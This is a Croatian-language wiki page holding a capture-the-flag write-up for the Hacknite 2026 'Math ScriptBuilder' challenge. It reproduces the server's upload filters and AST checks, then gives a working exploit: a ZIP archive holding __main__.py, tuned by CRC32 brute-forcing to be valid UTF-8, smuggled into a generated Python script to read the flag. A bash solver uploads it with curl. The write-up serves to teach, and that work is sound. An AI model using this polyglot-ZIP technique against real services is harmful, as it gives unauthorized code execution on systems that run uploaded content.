User Tools

Site Tools


mathscriptbuilder

This is an old revision of the document!


Zadatak s natjecanja Hacknite 2026 - Math ScriptBuilder

Napišite i pošaljite svoju matematičku skriptu!
Opis možete dodat u komentaru.
Izvršava se unutar našeg strogog i sigurnog sandboxa.

Kontekst zadatka

Dan je izvorni kod zadatka.

Zadatak dopušta upload dviju datoteka. Prva datoteka je namijenjena za opis matematičke skripte, a u drugoj datoteci se definira matematički izraz koji se izvršava.

Nakon što se uploadaju obje datoteke, od njih se konstruira Python skripta te se izvršava na serverskoj strani, a rezultat izvršavanja se prikaže na stranici.

 Slika 1 - Upload i izvršavanje skripte

Navedeno je da ni jedna datoteka ne smije sadržavati znakove:

", ', \, {, }, `, ;, $, % or #

Također je navedeno da datoteka s matematičkim kodom može sadržavati maksimalno 15 znakova i da se izvršava unutar eval funkcije s jedinim dopuštenim znakovima definiranim regex izrazom:

[0-9+\-*/(). ]+

Ovaj regex definira skup dopuštenih znakova:

znamenke 0-9, +, -, /, (, ), ., <razmak>

Provjerom koda na serverskoj strani može se vidjeti da su ta ograničenja primijenjena kako je opisano:

f1 = request.files['f1'].read().decode('utf-8', errors='ignore')
f2 = request.files['f2'].read().decode('utf-8', errors='ignore')
 
forbidden_chars = ['"', "'", '\\', '#', '{', '}', '`', ';', '$', '%']
if any(c in f1 for c in forbidden_chars):
    return render_template(
        'index.html', 
        error="HACKING ATTEMPT DETECTED! Quotes, backslashes, hash and other dangerous symbols are strictly forbidden."
    )
 
if len(f2) > 15:
    return render_template('index.html', error="Error: File 2 exceeds 15 characters!")
 
if not re.fullmatch(r'[0-9+\-*/(). ]+', f2):
    return render_template('index.html', error="Error: File 2 contains invalid characters!")

Nakon tih provjera se iz dviju uploadanih datoteka gradi Python skripta s pomoću f-stringova, trostrukih navodnika te unutarnjih trostrukih navodnika oko varijabli kojima se korisnički unos postavlja u skriptu kao string:

script_content = \
f"""print(\"\"\"{f1}\"\"\")
# Secure eval execution
result = eval(\"\"\"{f2}\"\"\", {{"__builtins__": None}}, {{}})
print("Result:", result)
"""

Nakon toga se cijela stvorena skripta još jedanput provjerava s AST-evaluatorom:

def is_safe_ast(script_content):
    try:
        tree = ast.parse(script_content.replace('\x00', ''))
    except SyntaxError:
        return False
 
    if len(tree.body) != 3:
        return False
 
    stmt1, stmt2, stmt3 = tree.body
 
    if not isinstance(stmt1, ast.Expr) or not isinstance(stmt1.value, ast.Call):
        return False
    if getattr(stmt1.value.func, 'id', None) != 'print':
        return False
    if len(stmt1.value.args) != 1 or not isinstance(stmt1.value.args[0], ast.Constant):
        return False
    if not isinstance(stmt1.value.args[0].value, str):
        return False 
 
    if not isinstance(stmt2, ast.Assign) or len(stmt2.targets) != 1:
        return False
    if getattr(stmt2.targets[0], 'id', None) != 'result':
        return False
    if not isinstance(stmt2.value, ast.Call) or getattr(stmt2.value.func, 'id', None) != 'eval':
        return False
 
    if not isinstance(stmt3, ast.Expr) or not isinstance(stmt3.value, ast.Call):
        return False
    if getattr(stmt3.value.func, 'id', None) != 'print':
        return False
 
    return True
 
if not is_safe_ast(script_content):
    return render_template(
        'index.html', 
        error="HACKING ATTEMPT DETECTED! Code structure tampering blocked."
    )

Ako su sve provjere uspješne, stvara se skripta čiji se naziv datoteke sastoji od SHA-256 sažetka datoteka i nasumično generiranog UUID-a. Potom se stvorena skripta izvršava s pomoću sandbox_runner.py skripte. Nakon izvršavanja, stvorena skripta se briše.

file_hash = hashlib.sha256(script_content.encode()).hexdigest()
unique_id = uuid.uuid4().hex[:8]
script_path = os.path.join(app.config['UPLOAD_FOLDER'], f"{file_hash}_{unique_id}.py")
 
with open(script_path, 'w') as f:
    f.write(script_content)
 
# exec script
 
runner_path = os.path.join(
    os.path.dirname(os.path.abspath(__file__)),
    "sandbox_runner.py",
)
 
try:
    proc = subprocess.Popen(
        [
            sys.executable,
            runner_path,
            os.path.abspath(script_path),
        ],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        close_fds=True,
        start_new_session=True,
    )
...
 
finally:
    try:
        os.remove(script_path)

Sandbox runner skripta samo postavlja ograničenja na resurse tijekom izvršavanja korisnikove skripte:

import os
import resource
import sys
 
 
def main():
    if len(sys.argv) != 2:
        raise SystemExit(2)
 
    limits = [
        (resource.RLIMIT_CPU, 2),
        (resource.RLIMIT_AS, 30 * 1024 * 1024),
        (resource.RLIMIT_FSIZE, 1024 * 1024),
        (resource.RLIMIT_NOFILE, 32),
        (resource.RLIMIT_CORE, 0),
    ]
 
    if hasattr(resource, "RLIMIT_NPROC"):
        limits.append((resource.RLIMIT_NPROC, 16))
 
    for limit_type, value in limits:
        resource.setrlimit(limit_type, (value, value))
 
    os.execv(sys.executable, [sys.executable, sys.argv[1]])
 
 
if __name__ == "__main__":
    main()

Pronalazak ranjivosti

Uzevši u obzir sve provjere i ograničenja nad datotekom s kodom koja se uploada, može se zaključiti da nema mjesta niti mogućnosti iskoristiti ju za napad ili dolazak do flaga.

Datoteka kojom se uploada opis skripte na prvi pogled djeluje kao da se ne može nikako iskoristiti, ali ima puno više dozvoljenih znakova koji se mogu koristiti te dostupnu dužinu unosa.

Važno je primijetiti da nakon što se izgradi Python skripta iz dvije poslane korisničke datoteke, pokreće se u novom procesu s pomoću Python interpretera ( sys.executable je putanja do Python interpretera koji izvršava trenutačnu skriptu).

Zbog toga je relevantan implementirani Python prijedlog PEP 441, koji predlaže dodavanje podrške za direktno izvršavanje Python koda iz ZIP datoteke. Ako je Python kod u datoteci __main__.py koja je u korijenu (nultoj razini) direktorijskog stabla unutar zipa, može se jednostavno pokrenuti Pythonom bez raspakiravanja.

main.zip
└── __main__.py

Zanimljivost je da ako se ova ZIP datoteka nalazi unutar validnog Python koda koji se pojavljuje i prije i nakon bajtova ZIP datoteke, tako da su svi bajtovi ZIP datoteke unutar komentara ili unutar stringa, kod unutar ZIP datoteke ima prioritet izvršavanja naspram okolnog koda, makar okolni kod bio potpuno validan Python kod.

Iskorištavanje ranjivosti

Koristeći ovu činjenicu za konstrukciju skripte na serverskoj strani koja će omogućiti izvršavanje proizvoljnog Python koda, ako se kroz datoteku za opis uploada ZIP datoteka s kodom, struktura stvorene skripte će biti:

print("""<ZIP datoteka s proizvoljnim Python kodom>""")
# Secure eval execution
result = eval("""12 * 76 + 36""", {"__builtins__": None}, {})
print("Result:", result)

Pokretanjem ove skripte izvršit će se samo kod unutar ZIP datoteke, dok će okolni kod biti ignoriran (ne vrijedi nužno za sve verzije Pythona).

No problem je što se datoteka s opisom iz koje se gradi skripta koja bi se iskoristila za upload proizvoljnog Python koda unutar zipa parsira na ovaj način:

f1 = request.files['f1'].read().decode('utf-8', errors='ignore')

te također ne smije sadržavati ni jedan od zabranjenih znakova:

", ', \, {, }, `, ;, $, % or #

Kako bi se zadovoljila ova ograničenja, mora se konstruirati zip datoteka s Python kodom u kojoj su svi bajtovi validne UTF-8 sekvence i ne sadrži zabranjene znakove. Ako se pojavi ijedna neispravna UTF-8 sekvenca unutar uploadane datoteke, ti bajtovi će samo biti uklonjeni bez errora te će cijeli ZIP postati neispravan i neće se moć izvršiti kod unutar njega.

Ako se za ZIP kompresiju koriste zastavice -0 i -X, razina kompresije će biti postavljena na nulu, odnosno neće se primjenjivati kompresija, a neobavezni metapodatci bit će uklonjeni:”

zip -0 -X payload.zip __main__.py

Neprimjenjivanje kompresije smanjuje mogućnost pojave nevaljane UTF-8 sekvence ili zabranjenog znaka. Zastavica -X miče sve osim nužnih metapodataka kako bi se dodatno smanjila šansa pojavljivanja neželjenih bajtova u generiranoj datoteci.

Kako bi se osiguralo da generirana ZIP datoteka s payload kodom ne sadržava neispravne UTF-8 sekvence ni zabranjene znakove, mora se osigurati da:

1. Python kod unutar __main__.py datoteke ne sadržava ni jedan zabranjeni znak,
jer se ne primjenjuje kompresija

2. CRC32 checksum __main__.py datoteke ima vrijednost kojoj su svi bajtovi validne
UTF-8 sekvence i nisu nedozvoljeni znakovi

3. timestamp __main__.py datoteke se enkodira u validne UTF-8 sekvence koje također
nisu nedozvoljeni znakovi

4. RWE dopuštenja se enkodiraju u validne UTF-8 sekvence koje također nisu nedozvoljeni
znakovi dok istovremeno postavljaju dozvolu za izvršavanje datoteke

Kako bi se napisao kod koji čita flag bez korištenja nedozvoljenih znakova, može se napisati kao:

print(open(bytes([102,108,97,103,46,116,120,116])).read())

Kako bi se pronašao CRC32 checksum koji zadovoljava sve kriterije, mogu se kodu dodavat razmaci kao padding na mjesta koja neće mijenjati funkcionalnost koda te ponovno računati CRC32 dok se ne nađe odgovarajući checksum.

Ovo je nezahtjevan bruteforce i vrlo brzo se može pronaći rješenje:

import binascii
 
# __main__.py kod
import binascii
 
original_code = b'print(open(bytes([102, 108,97,103,46,116,120,116])).read())'
code_str = 'print(open(bytes([102, 108,97,103,46,116,120,116])).read())'
 
forbidden_chars = ['"', "'", '\\', '#', '{', '}', '`', ';', '$', '%']
 
 
for padding_length in range(100):
    test_code = original_code + (b' ' * padding_length)
    crc = binascii.crc32(test_code)
    crc_bytes = crc.to_bytes(4, 'little')
 
    if all(b < 128 for b in crc_bytes) and not any(c in code_str for c in forbidden_chars):
        print(f"[+] Found: Add {padding_length} spaces to the end of the file.")
        print(f"New CRC-32 bytes: {crc_bytes.hex(' ')}")
        break

Pokretanjem skripte vrlo se brzo utvrđuje da se dodavanjem samo dvaju razmaka na kraj datoteke može dobiti odgovarajući CRC32 checksum:

[+] Found: Add 2 spaces to the end of the file.
New CRC-32 bytes: 47 69 2c 11

__main__.py datoteka se potom generira s pronađenim paddingom:

printf "print(open(bytes([102, 108,97,103,46,116,120,116])).read())  " > __main__.py

Kako bi se pronašli zadovoljavajući timestamp i dopuštenja datoteke, mogu se ručno isprobavati različite vrijednosti:

touch -t 202501010000 __main__.py
chmod 737 __main__.py

Nakon toga se __main__.py pretvara u ZIP datoteku te se provjerava jesu li svi bajtovi datoteke validne UTF-8 sekvence:

# utf8scan.py
import sys
 
def scan_ignore_style(data: bytes):
    i = 0
    removed = []
 
    while i < len(data):
        try:
            data[i:].decode("utf-8", errors="strict")
            break
        except UnicodeDecodeError as e:
            bad_start = i + e.start
            bad_end = i + e.end
 
            for p in range(bad_start, bad_end):
                removed.append(p)
 
            i = bad_start + 1
 
    return removed
 
 
def main():
    if len(sys.argv) != 2:
        print("Usage: utf8scan.py <file>")
        sys.exit(1)
 
    data = open(sys.argv[1], "rb").read()
    removed = scan_ignore_style(data)
 
    if not removed:
        print("No bytes would be removed under UTF-8 ignore")
        return
 
    print("Bytes removed under UTF-8 ignore:\n")
 
    for p in removed:
        print(f"offset {p:08d} -> 0x{data[p]:02x}")
 
    print(f"\nTotal removed bytes: {len(removed)}")
 
if __name__ == "__main__":
    main()

Konfiguracija koja stvara ZIP datoteku koja zadovoljava sve zahtjeve i postavlja execute permission na __main__.py:

printf "print(open(bytes([102, 108,97,103,46,116,120,116])).read())  " > __main__.py
touch -t 202501010000 __main__.py
chmod 737 __main__.py
zip -0 -X payload.zip __main__.py

Pokretanjem prethodne skripte za detekciju neispravnih UTF-8 sekvenci nad payload.zip datotekom, vidi se da su svi bajtovi datoteke validne UTF-8 sekvence:

python utf8scan.py payload.zip 
No bytes would be removed under UTF-8 ignore

Kako bi se riješio zadatak, payload.zip se uploada kao datoteka s opisom skripte, dok se sadržaj datoteke s matematičkim izrazom može proizvoljno definirati u jednostavan izraz koji ne izaziva greške.

Automatizirana skripta za rješavanje zadatka:

#!/usr/bin/env bash
 
## generiranje payload.zip
printf "print(open(bytes([102, 108,97,103,46,116,120,116])).read())  " > __main__.py
touch -t 202501010000 __main__.py
chmod 737 __main__.py
zip -0 -X payload.zip __main__.py
 
## jednostavan matematički izraz
printf "2 + 4 + 5" > math.txt
 
## remote conf
HOST="localhost" # HOST zadatka
PORT="5000" # PORT zadatka
 
URL="http://${HOST}:${PORT}/"
 
FILE1="./payload.zip"
FILE2="./math.txt"
 
curl --fail-with-body --show-error --output - \
    -X POST \
    -F "f1=@${FILE1}" \
    -F "f2=@${FILE2}" \
    "$URL" | tail -n 20 | grep CTF
mathscriptbuilder.1793630391.txt.gz · Last modified: 2026/11/02 14:39 by mbunic

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki